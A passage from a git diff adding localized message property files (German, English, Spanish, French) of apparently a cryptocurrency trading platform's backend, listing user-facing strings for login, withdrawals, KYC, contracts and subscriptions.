uploaded file name is {0} characters + +##\u6743\u9650 +no.permission=\u60A8\u6CA1\u6709\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.create.permission=\u60A8\u6CA1\u6709\u521B\u5EFA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.update.permission=\u60A8\u6CA1\u6709\u4FEE\u6539\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.delete.permission=\u60A8\u6CA1\u6709\u5220\u9664\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.export.permission=\u60A8\u6CA1\u6709\u5BFC\u51FA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.view.permission=\u60A8\u6CA1\u6709\u67E5\u770B\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] + +##\u6CE8\u518C\u7528\u6237\u63D0\u793A +user.register.email.format=E-mail format is incorrect +user.register.email.exisit=mailbox already exists +user.register.phone.exisit=mobile number already exists +user.user_name_exisit=username already exists +login.user_error=wrong user name or password +user.login.address.error=Address is taken! +user.register.phone.exist=Mobile phone number already exists +user.register.phone.bind=Mobile phone number has been bound +#app +app.login.address.not.null=user address is empty +login.email.not_register=Please use the bound email address to operate +login.phone.not_register=Please use the bound mobile phone number to operate +login.code_error=Verification code error +user.login.code.error=Verification code validation failed! +user.login.password.null=Please enter your password! +user.login.upd.success=Successfully modified! +phone_code_empty=Mobile phone number cannot be empty! +email.code_empty=E-mail can not be empty! +user.code.send=Verification code sent successfully +app.verification.email.code=The verification code has been sent to your email, please check it +user.password_bind=The password has already been set, please do not bind again +user.tard.password_bind=The security password has been set, please do not bind again +user.login.null=User does not exist! +user.login.old.password=Old password not entered! +user.login.new.password=New password not entered! +user.login.paw.upd=The new password cannot be the same as the old password! +user.login.old.password.error=The old password is wrong! +user.login.address.null=Address is empty! +user.login.userid.null=User ID is empty! +#\u63D0\u73B0 +user.password_notbind=Please set a secure password +tard_password.error=Wrong payment password +withdraw.amount_number_exceed=The number of cash withdrawals on the day exceeds the set number +withdraw_error= Insufficient balance, unable to withdraw cash +withdraw.amount_error=The withdrawal amount is wrong, please modify +withdraw.refresh=please refresh +withdraw.address.isnull=Bitte geben Sie die korrekte Auszahlungsadresse ein! +withdraw_require_error = Derzeit muss ich noch mit dem Restumsatz spielen. +withdraw_error_coin=Diese W\u00E4hrung existiert nicht +withdraw_error_rate=Dieser Wechselkurs existiert nicht +#\u5B9E\u540D\u8BA4\u8BC1 +user.kyc.not_blank=All 4 items of identity authentication information are required + +#\u5151\u6362 +exchange.symbol.exist = The exchange currency cannot be empty, and the exchange amount must be greater than 0 +recharge.amout.min=The minimum recharge amount is {0} +recharge.amout.max=The maximum recharge amount is {0} +currency.exchange_min = The minimum exchange amount is {0} +currency.exchange_max = The maximum exchange amount is {0} +exchange_error=The exchange amount is greater than the account balance +exchange.record.exist.error=You have a redemption in progress, try again later +#\u79D2\u5408\u7EA6 +order_amount_error=Insufficient wallet balance, unable to purchase +order_10s_retry=Orders are placed too frequently, please try to place an order after 10s... +#\u7406\u8D22 +user.push.message=User action prohibited +mine.level.error=Your VIP level is not enough to purchase secondary wealth management products +order.single.min=The purchase amount is less than the minimum amount and cannot be purchased +order.single.max=The purchased amount is greater than the maximum limit and cannot be purchased +order.buy.insufficient=You can currently purchase up to {0} +product.removed=The product has been discontinued +financial.count.max=This user has reached the limit and is not allowed to purchase +days.not.null=Buy cycle is empty +days.not.error=Purchase cycle error +contract.accont.error=Insufficient contract account balance +contract.min.share=The minimum purchase quantity is {0} +contract.max.share=The maximum number of purchases is {0} +contract.asset.error=Insufficient contract account balance +adjust.min.error=The reduced margin cannot be less than the initial margin +order.status.error=illegal submission +contract.buy.earn.error=Buy long, the take profit price cannot be less than the average opening price +contract.buy.loss.error=Buy long, the stop loss price cannot be greater than the average opening price +contract.sell.earn.error=Selling to open a short position, the take profit price cannot be greater than the average opening price +contract.sell.loss.error=Selling to open a short position, the stop loss price cannot be lower than the average opening price +contract.num.limit=The quantity cannot be greater than the open interest +#\u8D44\u91D1\u5212\u8F6C +asset_amount_error=Insufficient balance +order.amount_error=Insufficient wealth management account balance +order_amount_limit=Insufficient amount +order.10s_retry=\u4E0B\u5355\u8FC7\u4E8E\u9891\u7E41\uFF0C\u8BF710s\u540E\u5C1D\u8BD5\u4E0B\u5355... + +contract.delivery.day=There are still: {0} days until delivery. +contract.delivery.margan=There are still: {0} days before delivery; if your position margin is greater than or equal to {1} USDT or your position margin is less than or equal to {2} USDT, you can close the position in advance. +contract.delivery.earn=There are still {0} days left before the delivery time; if your position margin is greater than or equal to {1} USDT, you can close the position in advance. +contract.delivery.loss=There are still: {0} days before the delivery time; if your position margin is less than or equal to {1}USDT, you can close the position in advance. +order.audit.error=Under review +order.audit.pass=Recharging is in progress and requires confirmation from 5 nodes around the world. Please wait patiently. + +#\u7533\u8D2D +own.coin.limit.num=Verf\u00FCgbare Menge {0} +own.coin.limit=Verf\u00FCgbares Guthaben {0} +own.coin.success=Abonnement erfolgreich +own.coin.error=Systemfehler, bitte wenden Sie sich an den Administrator +own.coin.sub.play=Sie haben sich bereits angemeldet, bitte nicht erneut anmelden! +own.coin.sub.error=Das Abonnement ist nicht verf\u00FCgbar, wenn Sie sich nicht erfolgreich angemeldet haben +own.coin.sub.success=Sie haben {0} Abonnementqualifikationen erhalten +own.coin.sub.num.error=Bitte geben Sie die richtige Menge ein +order.sell.min.error=Der Mindestverkaufsbetrag betr\u00E4gt {0} +order.audit.reject=Position konnte nicht geschlossen werden + +#\u65B0\u53D1\u5E01\u8BA2\u9605 +own.coin.subscribe.success=Application Successfully +own.coin.subscribe.error=Application failed +withdraw.kyc.error=Please complete real-name authentication first to lift the limit +exchange_symbol_error_exist=The exchange currency does not exist +currency.coin.setting.nonexistent=The current {} configuration does not exist +currency.balance.deficiency=The current {} currency balance is insufficient +currency.deal.error=This currency is not tradable +back.code.exist.error=Bank card number already exists{} + +#\u5B9E\u540D\u8BA4\u8BC1 +user.authentication.not.certified = Bitte f\u00FChren Sie zun\u00E4chst die Prim\u00E4rzertifizierung durch + +#\u9ED1\u540D\u5355 +user_is_black = Ihr Konto wurde auf die schwarze Liste gesetzt und kann nicht angemeldet werden. + +#\u5E01\u5E01\u4EA4\u6613 +currency.order.min.error=Die Mindestbestellmenge betr\u00E4gt {0} +currency.order.max.error=Die maximale Bestellmenge betr\u00E4gt {0} + + diff --git a/ruoyi-api/src/main/resources/i18n/messages_en.properties b/ruoyi-api/src/main/resources/i18n/messages_en.properties new file mode 100644 index 0000000..ff0749f --- /dev/null +++ b/ruoyi-api/src/main/resources/i18n/messages_en.properties @@ -0,0 +1,165 @@ +user.appname=\u82F1\u6587 + + + +#\u9519\u8BEF\u6D88\u606F +not.null= required +user.jcaptcha.error=Verification code error +user.jcaptcha.expire=Verification code has expired +user.not.exists=User does not exist/wrong password +user.password.not.match=User does not exist/wrong password +user.password.retry.limit.count=The wrong password was entered {0} times +user.password.retry.limit.exceed=The password was entered incorrectly {0} times, and the account was locked for {1} minutes +user.password.delete=Sorry, your account has been deleted +user.blocked=The user has been banned, please contact the administrator +role.blocked=The role has been banned, please contact the administrator +login.blocked=Unfortunately, the access IP has been blacklisted by the system +user.logout.success=exit successfully +user.ops.status=Successful operation, Please wait + +length.not.valid=Length must be between {min} and {max} characters + +user.username.not.valid=* 2 to 20 Chinese characters, letters, numbers or underscores, and must start with a non-number +user.password.not.valid=* 5-50 characters + +user.email.not.valid=E-mail format error +user.mobile.phone.number.not.valid=Malformed phone number +user.login.success=login successful +user.register.success=registration success +user.notfound=please login again +user.forcelogout=The administrator forcibly logged out, please log in again +user.unknown.error=Unknown error, please log in again + +##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F +upload.exceed.maxSize=The uploaded file size exceeds the file size limit! The maximum allowed file size is: {0}MB! +upload.filename.exceed.length=The maximum length of the uploaded file name is {0} characters + +##\u6743\u9650 +no.permission=\u60A8\u6CA1\u6709\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.create.permission=\u60A8\u6CA1\u6709\u521B\u5EFA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.update.permission=\u60A8\u6CA1\u6709\u4FEE\u6539\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.delete.permission=\u60A8\u6CA1\u6709\u5220\u9664\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.export.permission=\u60A8\u6CA1\u6709\u5BFC\u51FA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.view.permission=\u60A8\u6CA1\u6709\u67E5\u770B\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] + +##\u6CE8\u518C\u7528\u6237\u63D0\u793A +user.register.email.format=E-mail format is incorrect +user.register.email.exisit=mailbox already exists +user.register.phone.exisit=mobile number already exists +user.user_name_exisit=username already exists +login.user_error=wrong user name or password +user.login.address.error=Address is taken! +user.register.phone.exist=Mobile phone number already exists +user.register.phone.bind=Mobile phone number has been bound +#app +app.login.address.not.null=user address is empty +login.email.not_register=Please use the bound email address to operate +login.phone.not_register=Please use the bound mobile phone number to operate +login.code_error=Verification code error +user.login.code.error=Verification code validation failed! +user.login.password.null=Please enter your password! +user.login.upd.success=Successfully modified! +phone_code_empty=Mobile phone number cannot be empty! +email.code_empty=E-mail can not be empty! +user.code.send=Verification code sent successfully +app.verification.email.code=The verification code has been sent to your email, please check it +user.password_bind=The password has already been set, please do not bind again +user.tard.password_bind=The security password has been set, please do not bind again +user.login.null=User does not exist! +user.login.old.password=Old password not entered! +user.login.new.password=New password not entered! +user.login.paw.upd=The new password cannot be the same as the old password! +user.login.old.password.error=The old password is wrong! +user.login.address.null=Address is empty! +user.login.userid.null=User ID is empty! +#\u63D0\u73B0 +user.password_notbind=Please set a secure password +tard_password.error=Wrong payment password +withdraw.amount_number_exceed=The number of cash withdrawals on the day exceeds the set number +withdraw_error= Insufficient balance, unable to withdraw cash +withdraw.amount_error=The withdrawal amount is wrong, please modify +withdraw.refresh=please refresh +withdraw.address.isnull=Please fill in the correct withdrawal address! +withdraw_require_error = At present, I still need to play with the remaining turnover. +withdraw_error_coin=This currency does not exist +withdraw_error_rate=This currency exchange rate does not exist +#\u5B9E\u540D\u8BA4\u8BC1 +user.kyc.not_blank=All 4 items of identity authentication information are required + +#\u5151\u6362 +exchange.symbol.exist = The exchange currency cannot be empty, and the exchange amount must be greater than 0 +recharge.amout.min=The minimum recharge amount is {0} +recharge.amout.max=The maximum recharge amount is {0} +currency.exchange_min = The minimum exchange amount is {0} +currency.exchange_max = The maximum exchange amount is {0} +exchange_error=The exchange amount is greater than the account balance +exchange.record.exist.error=You have a redemption in progress, try again later +#\u79D2\u5408\u7EA6 +order_amount_error=Insufficient wallet balance, unable to purchase +order_10s_retry=Orders are placed too frequently, please try to place an order after 10s... +#\u7406\u8D22 +user.push.message=User action prohibited +mine.level.error=Your VIP level is not enough to purchase secondary wealth management products +order.single.min=The purchase amount is less than the minimum amount and cannot be purchased +order.single.max=The purchased amount is greater than the maximum limit and cannot be purchased +order.buy.insufficient=You can currently purchase up to {0} +product.removed=The product has been discontinued +financial.count.max=This user has reached the limit and is not allowed to purchase +days.not.null=Buy cycle is empty +days.not.error=Purchase cycle error +contract.accont.error=Insufficient contract account balance +contract.min.share=The minimum purchase quantity is {0} +contract.max.share=The maximum number of purchases is {0} +contract.asset.error=Insufficient contract account balance +adjust.min.error=The reduced margin cannot be less than the initial margin +order.status.error=illegal submission +contract.buy.earn.error=Buy long, the take profit price cannot be less than the average opening price +contract.buy.loss.error=Buy long, the stop loss price cannot be greater than the average opening price +contract.sell.earn.error=Selling to open a short position, the take profit price cannot be greater than the average opening price +contract.sell.loss.error=Selling to open a short position, the stop loss price cannot be lower than the average opening price +contract.num.limit=The quantity cannot be greater than the open interest +#\u8D44\u91D1\u5212\u8F6C +asset_amount_error=Insufficient balance +order.amount_error=Insufficient wealth management account balance +order_amount_limit=Insufficient amount +order.10s_retry=\u4E0B\u5355\u8FC7\u4E8E\u9891\u7E41\uFF0C\u8BF710s\u540E\u5C1D\u8BD5\u4E0B\u5355... + +contract.delivery.day=There are still: {0} days until delivery. +contract.delivery.margan=There are still: {0} days before delivery; if your total contract is greater than or equal to {1} USDT or your total contract is less than or equal to {2} USDT, you can close the position in advance. +contract.delivery.earn=There are still {0} days left before the delivery time; if your total contract assets is greater than or equal to {1} USDT, you can close the position in advance. +contract.delivery.loss=There are still: {0} days before the delivery time; if your total contract assets is less than or equal to {1}USDT, you can close the position in advance. +order.audit.error=Under review +order.audit.pass=Recharging is in progress and requires confirmation from 5 nodes around the world. Please wait patiently. + +#\u7533\u8D2D +own.coin.limit.num=Available quantity {0} +own.coin.limit=Available Balance {0} +own.coin.success=Subscription successful +own.coin.error=System error, please contact the administrator +own.coin.sub.play=You have already subscribed, please do not submit again! +own.coin.sub.success=You have obtained {0} subscription qualifications +own.coin.sub.error=Subscription is not available if you have not successfully subscribed +own.coin.sub.num.error=Please fill in the correct quantity +order.sell.min.error=The minimum sell amount is {0} +order.audit.reject=Failed to close position + +#\u65B0\u53D1\u5E01\u8BA2\u9605 +own.coin.subscribe.success=Application Successfully +own.coin.subscribe.error=Application failed +withdraw.kyc.error=Please complete real-name authentication first to lift the limit +exchange_symbol_error_exist=The exchange currency does not exist +currency.coin.setting.nonexistent=The current {} configuration does not exist +currency.balance.deficiency=The current {} currency balance is insufficient +currency.deal.error=This currency is not tradable +back.code.exist.error=Bank card number already exists{} + +#\u5B9E\u540D\u8BA4\u8BC1 +user.authentication.not.certified = Please perform primary certification first + +#\u9ED1\u540D\u5355 +user_is_black = Your account has been blacklisted and cannot be logged in. + +#\u5E01\u5E01\u4EA4\u6613 +currency.order.min.error= The minimum order quantity is {0} +currency.order.max.error= The maximum order quantity is {0} + diff --git a/ruoyi-api/src/main/resources/i18n/messages_es.properties b/ruoyi-api/src/main/resources/i18n/messages_es.properties new file mode 100644 index 0000000..98dca5b --- /dev/null +++ b/ruoyi-api/src/main/resources/i18n/messages_es.properties @@ -0,0 +1,163 @@ +user.appname=\u897F\u73ED\u7259\u8BED + +#\u9519\u8BEF\u6D88\u606F +not.null= required +user.jcaptcha.error=Verification code error +user.jcaptcha.expire=Verification code has expired +user.not.exists=User does not exist/wrong password +user.password.not.match=User does not exist/wrong password +user.password.retry.limit.count=The wrong password was entered {0} times +user.password.retry.limit.exceed=The password was entered incorrectly {0} times, and the account was locked for {1} minutes +user.password.delete=Sorry, your account has been deleted +user.blocked=The user has been banned, please contact the administrator +role.blocked=The role has been banned, please contact the administrator +login.blocked=Unfortunately, the access IP has been blacklisted by the system +user.logout.success=exit successfully +user.ops.status=Successful operation, Please wait + +length.not.valid=Length must be between {min} and {max} characters + +user.username.not.valid=* 2 to 20 Chinese characters, letters, numbers or underscores, and must start with a non-number +user.password.not.valid=* 5-50 characters + +user.email.not.valid=E-mail format error +user.mobile.phone.number.not.valid=Malformed phone number +user.login.success=login successful +user.register.success=registration success +user.notfound=please login again +user.forcelogout=The administrator forcibly logged out, please log in again +user.unknown.error=Unknown error, please log in again + +##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F +upload.exceed.maxSize=The uploaded file size exceeds the file size limit! The maximum allowed file size is: {0}MB! +upload.filename.exceed.length=The maximum length of the uploaded file name is {0} characters + +##\u6743\u9650 +no.permission=\u60A8\u6CA1\u6709\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.create.permission=\u60A8\u6CA1\u6709\u521B\u5EFA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.update.permission=\u60A8\u6CA1\u6709\u4FEE\u6539\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.delete.permission=\u60A8\u6CA1\u6709\u5220\u9664\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.export.permission=\u60A8\u6CA1\u6709\u5BFC\u51FA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.view.permission=\u60A8\u6CA1\u6709\u67E5\u770B\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] + +##\u6CE8\u518C\u7528\u6237\u63D0\u793A +user.register.email.format=E-mail format is incorrect +user.register.email.exisit=mailbox already exists +user.register.phone.exisit=mobile number already exists +user.user_name_exisit=username already exists +login.user_error=wrong user name or password +user.login.address.error=Address is taken! +user.register.phone.exist=Mobile phone number already exists +user.register.phone.bind=Mobile phone number has been bound +#app +app.login.address.not.null=user address is empty +login.email.not_register=Please use the bound email address to operate +login.phone.not_register=Please use the bound mobile phone number to operate +login.code_error=Verification code error +user.login.code.error=Verification code validation failed! +user.login.password.null=Please enter your password! +user.login.upd.success=Successfully modified! +phone_code_empty=Mobile phone number cannot be empty! +email.code_empty=E-mail can not be empty! +user.code.send=Verification code sent successfully +app.verification.email.code=The verification code has been sent to your email, please check it +user.password_bind=The password has already been set, please do not bind again +user.tard.password_bind=The security password has been set, please do not bind again +user.login.null=User does not exist! +user.login.old.password=Old password not entered! +user.login.new.password=New password not entered! +user.login.paw.upd=The new password cannot be the same as the old password! +user.login.old.password.error=The old password is wrong! +user.login.address.null=Address is empty! +user.login.userid.null=User ID is empty! +#\u63D0\u73B0 +user.password_notbind=Please set a secure password +tard_password.error=Wrong payment password +withdraw.amount_number_exceed=The number of cash withdrawals on the day exceeds the set number +withdraw_error= Insufficient balance, unable to withdraw cash +withdraw.amount_error=The withdrawal amount is wrong, please modify +withdraw.refresh=please refresh +withdraw.address.isnull=\u00A1Por favor complete la direcci\u00F3n de retiro correcta! +withdraw_require_error = En este momento, todav\u00EDa necesito jugar con el volumen de negocios restante. +withdraw_error_coin=Esta moneda no existe +withdraw_error_rate=Este tipo de cambio de moneda no existe. +#\u5B9E\u540D\u8BA4\u8BC1 +user.kyc.not_blank=All 4 items of identity authentication information are required + +#\u5151\u6362 +exchange.symbol.exist = The exchange currency cannot be empty, and the exchange amount must be greater than 0 +recharge.amout.min=The minimum recharge amount is {0} +recharge.amout.max=The maximum recharge amount is {0} +currency.exchange_min = The minimum exchange amount is {0} +currency.exchange_max = The maximum exchange amount is {0} +exchange_error=The exchange amount is greater than the account balance +exchange.record.exist.error=You have a redemption in progress, try again later +#\u79D2\u5408\u7EA6 +order_amount_error=Insufficient wallet balance, unable to purchase +order_10s_retry=Orders are placed too frequently, please try to place an order after 10s... +#\u7406\u8D22 +user.push.message=User action prohibited +mine.level.error=Your VIP level is not enough to purchase secondary wealth management products +order.single.min=The purchase amount is less than the minimum amount and cannot be purchased +order.single.max=The purchased amount is greater than the maximum limit and cannot be purchased +order.buy.insufficient=You can currently purchase up to {0} +product.removed=The product has been discontinued +financial.count.max=This user has reached the limit and is not allowed to purchase +days.not.null=Buy cycle is empty +days.not.error=Purchase cycle error +contract.accont.error=Insufficient contract account balance +contract.min.share=The minimum purchase quantity is {0} +contract.max.share=The maximum number of purchases is {0} +contract.asset.error=Insufficient contract account balance +adjust.min.error=The reduced margin cannot be less than the initial margin +order.status.error=illegal submission +contract.buy.earn.error=Buy long, the take profit price cannot be less than the average opening price +contract.buy.loss.error=Buy long, the stop loss price cannot be greater than the average opening price +contract.sell.earn.error=Selling to open a short position, the take profit price cannot be greater than the average opening price +contract.sell.loss.error=Selling to open a short position, the stop loss price cannot be lower than the average opening price +contract.num.limit=The quantity cannot be greater than the open interest +#\u8D44\u91D1\u5212\u8F6C +asset_amount_error=Insufficient balance +order.amount_error=Insufficient wealth management account balance +order_amount_limit=Insufficient amount +order.10s_retry=\u4E0B\u5355\u8FC7\u4E8E\u9891\u7E41\uFF0C\u8BF710s\u540E\u5C1D\u8BD5\u4E0B\u5355... + +contract.delivery.day=There are still: {0} days until delivery. +contract.delivery.margan=There are still: {0} days before delivery; if your position margin is greater than or equal to {1} USDT or your position margin is less than or equal to {2} USDT, you can close the position in advance. +contract.delivery.earn=There are still {0} days left before the delivery time; if your position margin is greater than or equal to {1} USDT, you can close the position in advance. +contract.delivery.loss=There are still: {0} days before the delivery time; if your position margin is less than or equal to {1}USDT, you can close the position in advance. +order.audit.error=Under review +order.audit.pass=Recharging is in progress and requires confirmation from 5 nodes around the world. Please wait patiently. + +#\u7533\u8D2D +own.coin.limit.num=Cantidad disponible {0} +own.coin.limit=Saldo disponible {0} +own.coin.success=Suscripci\u00F3n exitosa +own.coin.error=Error del sistema, por favor contacte al administrador +own.coin.sub.play=Ya te has suscrito, \u00A1no vuelvas a enviarlo! +own.coin.sub.error=La suscripci\u00F3n no est\u00E1 disponible si no se ha suscrito correctamente +own.coin.sub.success=Ha obtenido {0} calificaciones de suscripci\u00F3n +own.coin.sub.num.error=Por favor complete la cantidad correcta +order.sell.min.error=El monto m\u00EDnimo de venta es {0} +order.audit.reject=No se pudo cerrar la posici\u00F3n + +#\u65B0\u53D1\u5E01\u8BA2\u9605 +own.coin.subscribe.success=Application Successfully +own.coin.subscribe.error=Application failed +withdraw.kyc.error=Please complete real-name authentication first to lift the limit +exchange_symbol_error_exist=The exchange currency does not exist +currency.coin.setting.nonexistent=The current {} configuration does not exist +currency.balance.deficiency=The current {} currency balance is insufficient +currency.deal.error=This currency is not tradable +back.code.exist.error=Bank card number already exists{} + +#\u5B9E\u540D\u8BA4\u8BC1 +user.authentication.not.certified = Realice primero la certificaci\u00F3n primaria + +#\u9ED1\u540D\u5355 +user_is_black = Su cuenta ha sido incluida en la lista negra y no se puede iniciar sesi\u00F3n. + +#\u5E01\u5E01\u4EA4\u6613 +currency.order.min.error= La cantidad m\u00EDnima de pedido es {0} +currency.order.max.error= La cantidad m\u00E1xima de pedido es {0} + diff --git a/ruoyi-api/src/main/resources/i18n/messages_fr.properties b/ruoyi-api/src/main/resources/i18n/messages_fr.properties new file mode 100644 index 0000000..7bc64fa --- /dev/null +++ b/ruoyi-api/src/main/resources/i18n/messages_fr.properties @@ -0,0 +1,164 @@ +user.appname=\u6CD5\u8BED + +#\u9519\u8BEF\u6D88\u606F +not.null= required +user.jcaptcha.error=Verification code error +user.jcaptcha.expire=Verification code has expired +user.not.exists=User does not exist/wrong password +user.password.not.match=User does not exist/wrong password +user.password.retry.limit.count=The wrong password was entered {0} times +user.password.retry.limit.exceed=The password was entered incorrectly {0} times, and the account was locked for {1} minutes +user.password.delete=Sorry, your account has been deleted +user.blocked=The user has been banned, please contact the administrator +role.blocked=The role has been banned, please contact the administrator +login.blocked=Unfortunately, the access IP has been blacklisted by the system +user.logout.success=exit successfully +user.ops.status=Successful operation, Please wait + +length.not.valid=Length must be between {min} and {max} characters + +user.username.not.valid=* 2 to 20 Chinese characters, letters, numbers or underscores, and must start with a non-number +user.password.not.valid=* 5-50 characters + +user.email.not.valid=E-mail format error +user.mobile.phone.number.not.valid=Malformed phone number +user.login.success=login successful +user.register.success=registration success +user.notfound=please login again +user.forcelogout=The administrator forcibly logged out, please log in again +user.unknown.error=Unknown error, please log in again + +##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F +upload.exceed.maxSize=The uploaded file size exceeds the file size limit! The maximum allowed file size is: {0}MB! +upload.filename.exceed.length=The maximum length of the uploaded file name is {0} characters + +##\u6743\u9650 +no.permission=\u60A8\u6CA1\u6709\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.create.permission=\u60A8\u6CA1\u6709\u521B\u5EFA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.update.permission=\u60A8\u6CA1\u6709\u4FEE\u6539\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.delete.permission=\u60A8\u6CA1\u6709\u5220\u9664\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.export.permission=\u60A8\u6CA1\u6709\u5BFC\u51FA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.view.permission=\u60A8\u6CA1\u6709\u67E5\u770B\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] + +##\u6CE8\u518C\u7528\u6237\u63D0\u793A +user.register.email.format=E-mail format is incorrect +user.register.email.exisit=mailbox already exists +user.register.phone.exisit=mobile number already exists +user.user_name_exisit=username already exists +login.user_error=wrong user name or password +user.login.address.error=Address is taken! +user.register.phone.exist=Mobile phone number already exists +user.register.phone.bind=Mobile phone number has been bound +#app +app.login.address.not.null=user address is empty +login.email.not_register=Please use the bound email address to operate +login.phone.not_register=Please use the bound mobile phone number to operate +login.code_error=Verification code error +user.login.code.error=Verification code validation failed! +user.login.password.null=Please enter your password! +user.login.upd.success=Successfully modified! +phone_code_empty=Mobile phone number cannot be empty! +email.code_empty=E-mail can not be empty! +user.code.send=Verification code sent successfully +app.verification.email.code=The verification code has been sent to your email, please check it +user.password_bind=The password has already been set, please do not bind again +user.tard.password_bind=The security password has been set, please do not bind again +user.login.null=User does not exist! +user.login.old.password=Old password not entered! +user.login.new.password=New password not entered! +user.login.paw.upd=The new password cannot be the same as the old password! +user.login.old.password.error=The old password is wrong! +user.login.address.null=Address is empty! +user.login.userid.null=User ID is empty! +#\u63D0\u73B0 +user.password_notbind=Please set a secure password +tard_password.error=Wrong payment password +withdraw.amount_number_exceed=The number of cash withdrawals on the day exceeds the set number +withdraw_error= Insufficient balance, unable to withdraw cash +withdraw.amount_error=The withdrawal amount is wrong, please modify +withdraw.refresh=please refresh +withdraw.address.isnull=Veuillez remplir la bonne adresse de retrait ! +withdraw_require_error = \u00C0 l\u2019heure actuelle, je dois encore jouer avec le chiffre d\u2019affaires restant. +withdraw_error_coin=Cette monnaie n'existe pas +withdraw_error_rate=Ce taux de change n'existe pas +#\u5B9E\u540D\u8BA4\u8BC1 +user.kyc.not_blank=All 4 items of identity authentication information are required + +#\u5151\u6362 +exchange.symbol.exist = The exchange currency cannot be empty, and the exchange amount must be greater than 0 +recharge.amout.min=The minimum recharge amount is {0} +recharge.amout.max=The maximum recharge amount is {0} +currency.exchange_min = The minimum exchange amount is {0} +currency.exchange_max = The maximum exchange amount is {0} +exchange_error=The exchange amount is greater than the account balance +exchange.record.exist.error=You have a redemption in progress, try again later +#\u79D2\u5408\u7EA6 +order_amount_error=Insufficient wallet balance, unable to purchase +order_10s_retry=Orders are placed too frequently, please try to place an order after 10s... +#\u7406\u8D22 +user.push.message=User action prohibited +mine.level.error=Your VIP level is not enough to purchase secondary wealth management products +order.single.min=The purchase amount is less than the minimum amount and cannot be purchased +order.single.max=The purchased amount is greater than the maximum limit and cannot be purchased +order.buy.insufficient=You can currently purchase up to {0} +product.removed=The product has been discontinued +financial.count.max=This user has reached the limit and is not allowed to purchase +days.not.null=Buy cycle is empty +days.not.error=Purchase cycle error +contract.accont.error=Insufficient contract account balance +contract.min.share=The minimum purchase quantity is {0} +contract.max.share=The maximum number of purchases is {0} +contract.asset.error=Insufficient contract account balance +adjust.min.error=The reduced margin cannot be less than the initial margin +order.status.error=illegal submission +contract.buy.earn.error=Buy long, the take profit price cannot be less than the average opening price +contract.buy.loss.error=Buy long, the stop loss price cannot be greater than the average opening price +contract.sell.earn.error=Selling to open a short position, the take profit price cannot be greater than the average opening price +contract.sell.loss.error=Selling to open a short position, the stop loss price cannot be lower than the average opening price +contract.num.limit=The quantity cannot be greater than the open interest +#\u8D44\u91D1\u5212\u8F6C +asset_amount_error=Insufficient balance +order.amount_error=Insufficient wealth management account balance +order_amount_limit=Insufficient amount 